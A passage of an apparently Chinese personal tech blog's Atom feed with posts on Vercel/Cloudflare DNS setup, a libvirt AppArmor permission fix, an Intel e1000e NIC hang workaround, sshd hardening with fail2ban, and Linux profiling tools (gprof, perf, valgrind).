&lt;tr&gt;&lt;td&gt;名称&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;@&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;IPv4 地址&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;76.76.21.21&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;di-san-jie-duan-yan-zheng-yu-sheng-xiao&quot;&gt;第三阶段：验证与生效&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;DNS 记录全球生效通常需要几分钟到几十分钟&lt;&#x2F;li&gt;
&lt;li&gt;回到 Vercel 项目 &lt;strong&gt;Domains&lt;&#x2F;strong&gt; 页面，状态从红色 &lt;em&gt;Invalid Configuration&lt;&#x2F;em&gt; 变为绿色 &lt;em&gt;Valid Configuration&lt;&#x2F;em&gt; 即表示成功&lt;&#x2F;li&gt;
&lt;li&gt;SSL 证书自动签发，通常 1-3 分钟内完成&lt;&#x2F;li&gt;
&lt;li&gt;访问 &lt;code&gt;https:&#x2F;&#x2F;vercel.juzhong.xyz&lt;&#x2F;code&gt; 确认站点正常&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;e-wai-pei-zhi-url-zhong-ding-xiang-ke-xuan&quot;&gt;额外配置：URL 重定向（可选）&lt;&#x2F;h3&gt;
&lt;p&gt;在 Vercel 的 Domains 页面，点击域名旁边的 &lt;strong&gt;Edit&lt;&#x2F;strong&gt;，可设置：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;将 &lt;code&gt;www.vercel.juzhong.xyz&lt;&#x2F;code&gt; 重定向到 &lt;code&gt;vercel.juzhong.xyz&lt;&#x2F;code&gt;（或反之）&lt;&#x2F;li&gt;
&lt;li&gt;如需同时使用 www 子域名，需在 Cloudflare 再添加一条名称 &lt;code&gt;www.vercel&lt;&#x2F;code&gt; 的 CNAME 记录，并同样加入 Vercel 项目&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;chang-jian-wen-ti-pai-cha&quot;&gt;常见问题排查&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;问题&lt;&#x2F;th&gt;&lt;th&gt;原因&lt;&#x2F;th&gt;&lt;th&gt;解决&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;状态一直 &lt;em&gt;Invalid&lt;&#x2F;em&gt;&lt;&#x2F;td&gt;&lt;td&gt;Cloudflare 代理未关闭（橙色云朵）&lt;&#x2F;td&gt;&lt;td&gt;将 DNS 记录的代理状态改为灰色（仅 DNS）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DNS 记录冲突&lt;&#x2F;td&gt;&lt;td&gt;Cloudflare 中存在旧 A&#x2F;AAAA 记录与 CNAME 冲突&lt;&#x2F;td&gt;&lt;td&gt;删除无关的解析记录，只保留 Vercel 所需的&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;www 子域名无法访问&lt;&#x2F;td&gt;&lt;td&gt;Vercel 不会自动添加 www 子域名&lt;&#x2F;td&gt;&lt;td&gt;手动在 Vercel 中添加 &lt;code&gt;www.vercel.juzhong.xyz&lt;&#x2F;code&gt;，并添加对应的 Cloudflare DNS 记录&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSL 证书续期失败&lt;&#x2F;td&gt;&lt;td&gt;后续开启了 Cloudflare 代理（橙色云朵），拦截了 ACME 验证&lt;&#x2F;td&gt;&lt;td&gt;在 Cloudflare Zero Trust 中为路径 &lt;code&gt;&#x2F;.well-known&#x2F;acme-challenge&#x2F;*&lt;&#x2F;code&gt; 设置 Bypass 策略；或在证书续期期间临时关闭代理（自建 Caddy 场景无需此操作，会自动回退 http-01，见上方更正说明）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;si-ping-tai-dui-bi&quot;&gt;四平台对比&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;GitHub Pages&lt;&#x2F;th&gt;&lt;th&gt;Cloudflare Pages&lt;&#x2F;th&gt;&lt;th&gt;Vercel&lt;&#x2F;th&gt;&lt;th&gt;阿里云 VPS + Tunnel&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;免费额度&lt;&#x2F;td&gt;&lt;td&gt;无限&lt;&#x2F;td&gt;&lt;td&gt;无限&lt;&#x2F;td&gt;&lt;td&gt;100GB&#x2F;月带宽&lt;&#x2F;td&gt;&lt;td&gt;取决于 VPS&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;自定义域名&lt;&#x2F;td&gt;&lt;td&gt;支持&lt;&#x2F;td&gt;&lt;td&gt;支持&lt;&#x2F;td&gt;&lt;td&gt;支持&lt;&#x2F;td&gt;&lt;td&gt;支持&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;HTTPS&lt;&#x2F;td&gt;&lt;td&gt;自动&lt;&#x2F;td&gt;&lt;td&gt;自动&lt;&#x2F;td&gt;&lt;td&gt;自动&lt;&#x2F;td&gt;&lt;td&gt;自动（Cloudflare）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;构建时间&lt;&#x2F;td&gt;&lt;td&gt;10min&#x2F;次&lt;&#x2F;td&gt;&lt;td&gt;500次&#x2F;月&lt;&#x2F;td&gt;&lt;td&gt;6000min&#x2F;月&lt;&#x2F;td&gt;&lt;td&gt;无限制&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;域名&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;xxx.github.io&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;xxx.pages.dev&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;xxx.vercel.app&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;自备域名&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;适用场景&lt;&#x2F;td&gt;&lt;td&gt;简单托管&lt;&#x2F;td&gt;&lt;td&gt;自定义域名 + CDN&lt;&#x2F;td&gt;&lt;td&gt;开发预览&lt;&#x2F;td&gt;&lt;td&gt;未备案域名 &#x2F; 自己掌控服务器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;推荐方案&lt;&#x2F;strong&gt;：源码放 GitHub，用 Cloudflare Pages 部署到 &lt;code&gt;blog.juzhong.xyz&lt;&#x2F;code&gt;。GitHub 负责版本管理，Cloudflare 提供全球 CDN 和免费 HTTPS。域名未备案或想用国内 VPS 时，改用「阿里云 VPS + Cloudflare Tunnel」方案。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;无论哪种方案，部署&#x2F;构建时 &lt;code&gt;--base-url&lt;&#x2F;code&gt;（或 &lt;code&gt;serve -u&lt;&#x2F;code&gt;）必须填实际访问域名，否则站内搜索不可用。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>启动libvirt失败</title>
        <published>2026-03-23T15:41:47+08:00</published>
        <updated>2026-03-23T15:41:47+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/03/启动libvirt失败/"/>
        <id>https://vercel.juzhong.asia/2026/03/启动libvirt失败/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/03/启动libvirt失败/">&lt;h1 id=&quot;bao-cuo-nei-rong&quot;&gt;报错内容&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo virsh start debian13
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;error: 启动域 &amp;#x27;debian13&amp;#x27; 失败 
error: 内部错误：连接监控的过程中进程退出: 2026-03-23T03:21:25.801780Z qemu-system-x86_64: -blockdev {&amp;quot;driver&amp;quot;:&amp;quot;file&amp;quot;,&amp;quot;filename&amp;quot;:&amp;quot;&amp;#x2F;data&amp;#x2F;sharing&amp;#x2F;iso&amp;#x2F;debian13&amp;#x2F;debian-13.3.0-amd64-DVD-1.iso&amp;quot;,&amp;quot;node-name&amp;quot;:&amp;quot;libvirt-1-storage&amp;quot;,&amp;quot;read-only&amp;quot;:true}: Could not open &amp;#x27;&amp;#x2F;data&amp;#x2F;sharing&amp;#x2F;iso&amp;#x2F;debian13&amp;#x2F;debian-13.3.0-amd64-DVD-1.iso&amp;#x27;: Permission denied
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 检查iso文件读权限
sudo -u libvirt-qemu test -r &amp;#x2F;data&amp;#x2F;sharing&amp;#x2F;iso&amp;#x2F;debian13&amp;#x2F;debian-13.3.0-amd64-DVD-1.iso &amp;amp;&amp;amp; echo OK || echo FAIL

# 检查apparmor
sudo dmesg | grep -i apparmor | grep DENIED
sudo vim &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;local&amp;#x2F;usr.sbin.libvirtd
# &amp;#x2F;data&amp;#x2F;sharing&amp;#x2F;iso&amp;#x2F; r,
# &amp;#x2F;data&amp;#x2F;sharing&amp;#x2F;iso&amp;#x2F;** rk,
# r: 代表读取权限。
# k: 代表文件锁定权限（虚拟机运行 ISO 有时需要）
sudo apparmor_parser -r &amp;#x2F;etc&amp;#x2F;apparmor.d&amp;#x2F;local&amp;#x2F;usr.sbin.libvirtd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 网络不通网卡缺陷排查记录</title>
        <published>2026-03-20T01:56:07+00:00</published>
        <updated>2026-03-20T01:56:07+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/03/linux 网络不通网卡缺陷排查记录/"/>
        <id>https://vercel.juzhong.asia/2026/03/linux 网络不通网卡缺陷排查记录/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/03/linux 网络不通网卡缺陷排查记录/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;p&gt;查看&lt;code&gt;ip route&lt;&#x2F;code&gt; &lt;code&gt;ip link&lt;&#x2F;code&gt; &lt;code&gt;ip -4 addr&lt;&#x2F;code&gt; &lt;code&gt;bridge show&lt;&#x2F;code&gt; 等多个命令，没有发现明显问题
怀疑是linux网桥导致的问题，后面发现是物理网卡hung了&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cha-kan-dmesg&quot;&gt;查看dmesg&lt;&#x2F;h1&gt;
&lt;p&gt;sudo dmesg -w&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;[318451.739250] e1000e 0000:00:1f.6 enp0s31f6: Detected Hardware Unit Hang:
                  TDH                  &amp;lt;ed&amp;gt;
                  TDT                  &amp;lt;10&amp;gt;
                  next_to_use          &amp;lt;10&amp;gt;
                  next_to_clean        &amp;lt;ec&amp;gt;
                buffer_info[next_to_clean]:
                  time_stamp           &amp;lt;110b9fd62&amp;gt;
                  next_to_watch        &amp;lt;ed&amp;gt;
                  jiffies              &amp;lt;112f6a400&amp;gt;
                  next_to_watch.status &amp;lt;0&amp;gt;
                MAC Status             &amp;lt;40080083&amp;gt;
                PHY Status             &amp;lt;796d&amp;gt;
                PHY 1000BASE-T Status  &amp;lt;3800&amp;gt;
                PHY Extended Status    &amp;lt;3000&amp;gt;
                PCI Status             &amp;lt;10&amp;gt;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhen-duan-jie-guo-he-xin-zhen-duan&quot;&gt;诊断结果 核心诊断&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;硬件型号：Intel I219-LM (rev 11)。这是 Dell OptiPlex 7090 等商用机常见的板载网卡。&lt;&#x2F;li&gt;
&lt;li&gt;内核版本：6.17.0-19-generic。这是一个非常新的内核（Ubuntu 24.04 的 HWE 边缘或开发版内核）。&lt;&#x2F;li&gt;
&lt;li&gt;故障原因：新版内核中的 e1000e 驱动与 I219-LM (rev 11) 存在兼容性问题。&lt;&#x2F;li&gt;
&lt;li&gt;Intel I219 系列网卡在 Linux 下以“挑剔”著称，经常在新内核中出现 Hardware Unit Hang。&lt;&#x2F;li&gt;
&lt;li&gt;错误日志显示驱动检测到发送&#x2F;接收队列死锁，这通常是因为新内核的电源管理策略（ASPM）或中断处理逻辑与该特定修订版（rev 11）的硬件不匹配导致的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;jie-jue-fang-an&quot;&gt;解决方案&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;lin-shi-ce-shi-wu-xu-zhong-qi-yun-xing-yi-xia-ming-ling-guan-bi-gai-wang-qia-de-aspm-zhu-dong-zhuang-tai-dian-yuan-guan-li&quot;&gt;临时测试（无需重启）： 运行以下命令关闭该网卡的 ASPM（主动状态电源管理）：&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 注意：需要 root 权限
sudo setpci -s 00:1f.6 0x50.B=0x00
# 如果命令提示找不到 setpci，请先安装：
sudo apt install pciutils
执行完上述命令后，重置网卡：
``` bash
sudo ip link set enp0s31f6 down
sudo ip link set enp0s31f6 up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yong-jiu-sheng-xiao-xiu-gai-grub&quot;&gt;永久生效（修改 GRUB）：&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;如果临时测试有效，需要修改启动参数永久生效：&lt;&#x2F;li&gt;
&lt;li&gt;sudo nano &#x2F;etc&#x2F;default&#x2F;grub&lt;&#x2F;li&gt;
&lt;li&gt;找到 GRUB_CMDLINE_LINUX_DEFAULT 这一行，在引号内添加 pcie_aspm=off。&lt;&#x2F;li&gt;
&lt;li&gt;GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash pcie_aspm=off&quot;&lt;&#x2F;li&gt;
&lt;li&gt;保存退出后，更新 GRUB 并重启：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo update-grub
sudo reboot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jin-yong-te-ding-de-wang-qia-jie-neng-gong-neng&quot;&gt;禁用特定的网卡节能功能&lt;&#x2F;h2&gt;
&lt;p&gt;如果方案一无效，尝试通过 ethtool 禁用网卡内部的节能选项。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install ethtool
sudo ethtool enp0s31f6 | grep -E &amp;quot;Wake-on|Energy&amp;quot;
# 关闭 Wake-on-LAN
sudo ethtool -s enp0s31f6 wol d

# 关闭 Energy Efficient Ethernet (EEE) - 这对 I219 很重要
sudo ethtool --set-eee enp0s31f6 eee off
# 注：如果 --set-eee 提示不支持，可以忽略该行。
# 为了让这些设置在重启后依然有效，你可以创建一个 systemd 服务或将其放入 &amp;#x2F;etc&amp;#x2F;network&amp;#x2F;interfaces (如果是旧版 networking) 或 Netplan 的配置中。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;快速临时测试脚本：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip link set enp0s31f6 down
sudo ethtool -s enp0s31f6 wol d
sudo ethtool --set-eee enp0s31f6 eee off 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null
sudo ip link set enp0s31f6 up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>sshd 安全加固</title>
        <published>2026-03-02T14:21:16+08:00</published>
        <updated>2026-03-02T14:21:16+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/03/sshd 安全加固/"/>
        <id>https://vercel.juzhong.asia/2026/03/sshd 安全加固/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/03/sshd 安全加固/">&lt;h1 id=&quot;an-zhuang-fail2ban&quot;&gt;安装fail2ban&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install fail2ban
sudo systemctl enable --now fail2ban
sudo fail2ban status sshd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;sshd-pei-zhi&quot;&gt;sshd 配置&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;# &amp;#x2F;etc&amp;#x2F;ssh&amp;#x2F;sshd_config

AllowUsers peter.home peter@192.168.2.*
AllowUsers peter@localhost peter@127.0.0.*

# ========== 全局安全策略 ==========
Port 22
Protocol 2
# 默认仅允许密钥登录（公网策略）
PasswordAuthentication no
PubkeyAuthentication yes
# 禁用不安全的认证方式
ChallengeResponseAuthentication no
KbdInteractiveAuthentication no
# 禁用 root 登录
PermitRootLogin no

# ========== 内网访问：允许密码登录 ==========
# 方案 A：基于服务器本地网卡地址
Match LocalAddress 192.168.* 10.* 172.16.* 172.17.*
    PasswordAuthentication yes
# 方案 B：基于客户端源地址（二选一，不要同时使用）
Match Address 192.168.0.0&amp;#x2F;16,10.0.0.0&amp;#x2F;8,172.16.0.0&amp;#x2F;12
    PasswordAuthentication yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>性能分析工具</title>
        <published>2026-01-27T13:36:21+08:00</published>
        <updated>2026-01-27T13:36:21+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/01/性能分析工具/"/>
        <id>https://vercel.juzhong.asia/2026/01/性能分析工具/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/01/性能分析工具/">&lt;h1 id=&quot;xing-neng-fen-xi-gong-ju&quot;&gt;性能分析工具&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;gprof：这是一个GNU的性能分析工具，主要用于分析程序的函数调用关系，以及每个函数的运行时间等。&lt;&#x2F;li&gt;
&lt;li&gt;Valgrind：这是一个用于内存调试、内存泄漏检测以及性能分析的开源工具集。其中，Valgrind的Callgrind工具可以收集程序运行时的函数调用信息，用于性能分析。&lt;&#x2F;li&gt;
&lt;li&gt;perf：这是Linux下的一个性能分析工具，可以收集CPU使用情况、缓存命中率、分支预测错误等多种性能数据。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;gprof&quot;&gt;gprof&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;gprof 通常作为 GNU Binutils 的一部分，在大多数 Linux 发行版中都是默认安装的。&lt;&#x2F;li&gt;
&lt;li&gt;gprof 是一个GNU项目中的性能分析工具，用于分析C和C++程序的函数调用图和每个函数的CPU使用时间。它通过测量程序执行过程中的函数调用频率和运行时间来帮助你识别出那些占用了最多运行时间的函数，从而定位可能的性能瓶颈。&lt;&#x2F;li&gt;
&lt;li&gt;使用 -pg 选项来告诉编译器包含 gprof 的分析代码&lt;&#x2F;li&gt;
&lt;li&gt;gprof 会收集运行时信息，并将这些信息写入一个名为 gmon.out 的文件&lt;&#x2F;li&gt;
&lt;li&gt;使用 gprof 工具来分析 gmon.out 文件中的数据&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;##编译代码
g++ -pg -o myprogram hello.cpp
## 执行代码,生成调用文件
.&amp;#x2F;myprogram
## 分析日志
gprof myprogram gmon.out &amp;gt; analysis.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;perf&quot;&gt;perf&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;perf 工具通常已经预装在 kernel-tools 或 kernel-tools-libs 包中&lt;&#x2F;li&gt;
&lt;li&gt;使用 perf record 命令来运行你的程序，并收集性能数据：CPU 使用情况、缓存命中、分支预测错误等性能数据&lt;&#x2F;li&gt;
&lt;li&gt;使用 perf report 命令来查看收集到的性能数据报告
perf report 会展示一个交互式的文本界面，其中包含每个函数的 CPU 使用时间百分比、调用次数等信息。你可以使用箭头键来浏览不同的函数，按 Enter 键来深入查看特定函数的调用栈&lt;&#x2F;li&gt;
&lt;li&gt;perf top：实时显示当前运行的程序的热点函数。&lt;&#x2F;li&gt;
&lt;li&gt;perf annotate：显示特定函数的源代码注释，包括每个代码行的执行次数。&lt;&#x2F;li&gt;
&lt;li&gt;perf stat：显示程序的总体性能统计信息，如指令数、缓存未命中次数等。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;## 编译代码
g++ -O2 -o myprogram  hello.cpp
## 执行程序
perf record .&amp;#x2F;myprogram
## 分析结果
perf report
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;valgrind&quot;&gt;valgrind&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;Valgrind 是一个用于内存调试、内存泄漏检测以及性能分析的开源工具。它可以在程序运行时检测多种问题，如内存泄漏、未初始化的内存、使用已释放的内存等&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;## 直接执行程序 进行检查（就是执行有点慢）
valgrind --tool=memcheck .&amp;#x2F;myprogram
## 检测内存泄漏
valgrind --leak-check=full .&amp;#x2F;hello
## callgrind 工具可以用来收集程序运行时的函数调用信息，这对于性能分析非常有用。使用 callgrind 运行程序, 生成callgrind.out.&amp;lt;pid&amp;gt;文件
valgrind --tool=callgrind .&amp;#x2F;myprogram
# 使用 kcachegrind 工具来查看和分析这些数据：
kcachegrind callgrind.out.&amp;lt;pid&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-cun-xie-lou-jian-ce&quot;&gt;内存泄漏检测&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;valgrind --leak-check=full .&amp;#x2F;your_program
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;用途：检测程序在运行过程中分配但未被释放的内存，帮助发现内存泄漏。&lt;&#x2F;li&gt;
&lt;li&gt;选项说明：--leak-check=full 会报告所有可能的内存泄漏，包括那些仍然可访问的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;dui-zhan-gen-zong&quot;&gt;堆栈跟踪&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;valgrind --tool=memcheck --trace-children=yes .&amp;#x2F;your_program
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;用途：跟踪程序中函数的调用栈，可以帮助定位问题发生的源头。&lt;&#x2F;li&gt;
&lt;li&gt;选项说明：--trace-children=yes 会跟踪由 your_program 创建的子进程的函数调用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;huan-cun-mo-ni&quot;&gt;缓存模拟&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;valgrind --tool=cachegrind --I1=32k,2,8 --D1=32k,2,8 .&amp;#x2F;your_program
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;用途：模拟 CPU 缓存的行为，以评估程序对缓存的利用率和可能的性能瓶颈。&lt;&#x2F;li&gt;
&lt;li&gt;选项说明：--I1 和 --D1 分别设置一级指令缓存和一级数据缓存的大小、关联性和替换策略。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;diao-yong-tu-fen-xi&quot;&gt;调用图分析&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;valgrind --tool=callgrind .&amp;#x2F;your_program
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;运行完毕后，可以使用 kcachegrind 或其他工具查看生成的调用图数据：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;kcachegrind callgrind.out.&amp;lt;pid&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;用途：收集程序运行时的函数调用信息，生成调用图，用于性能分析和优化。&lt;&#x2F;li&gt;
&lt;li&gt;说明：callgrind.out.&lt;pid&gt; 是 callgrind 工具生成的数据文件，其中 &lt;pid&gt; 是运行程序的进程ID。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;shu-ju-jing-zheng-jian-ce&quot;&gt;数据竞争检测&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;valgrind --tool=drd .&amp;#x2F;your_program
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;用途：检测多线程程序中的数据竞争问题，即多个线程同时访问和修改同一内存位置而没有适当的同步。&lt;&#x2F;li&gt;
&lt;li&gt;说明：drd 工具可以帮助发现多线程编程中的潜在问题。&lt;&#x2F;li&gt;
&lt;li&gt;这些只是 valgrind 提供的一些常用工具和选项的示例。valgrind 的功能非常强大，还包含其他工具，并且每个工具都有许多选项可以调整。为了充分利用 valgrind，建议查阅其官方文档或手册页（使用 man valgrind 命令）以获取更详细的信息和用法示例。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>qemu启动pve qcow2虚拟机镜像排查</title>
        <published>2026-01-25T13:28:12+08:00</published>
        <updated>2026-01-25T13:28:12+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/01/qemu启动pve qcow2虚拟机镜像排查/"/>
        <id>https://vercel.juzhong.asia/2026/01/qemu启动pve qcow2虚拟机镜像排查/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/01/qemu启动pve qcow2虚拟机镜像排查/">&lt;h1 id=&quot;xiu-fu-qcow2wen-jian-mu-lu&quot;&gt;修复qcow2文件目录&lt;&#x2F;h1&gt;
&lt;p&gt;最后发现时rootfs中缺少了 &#x2F;dev 和 &#x2F;sys 两个目录，导致initrd中切换到systemd时缺少挂载点后panic了&lt;&#x2F;p&gt;
